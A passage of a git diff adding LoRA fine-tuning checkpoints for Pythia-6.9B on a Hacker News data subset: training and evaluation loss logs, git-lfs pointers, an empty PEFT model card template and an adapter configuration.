1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.34006103212032e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..8ad56ccd3b9434cde09aea0a71626a22918c836b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4caa3493368733f0ad0b172ea276dde2df83feaba7917264a5c3ced84a9701b1 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..489540185f9b3bbbd8a5780173a1abacc68c9a4a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:19e01acf0d3da364c6e90285492f7aa1dca7e34d6b697e806418cf1b99326652 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..6f12baaba3ec135e726e0b75dc20ee8cfe8a995d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:55a6ddc6425602c9554969e2910a1ee66847f95ab8fd86352843e16c6530b2c0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..df177b9452bbc35cb78b91089f310520fe740b94 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3aa3352ae201120fa831c764f5b07fe3f9aa427e68763e4c88ed9af407727f22 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..769f1eb14379f2db2b825ce5483e46080a641608 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/trainer_state.json @@ -0,0 +1,903 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.733333333333333, + "eval_steps": 10, + "global_step": 580, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + 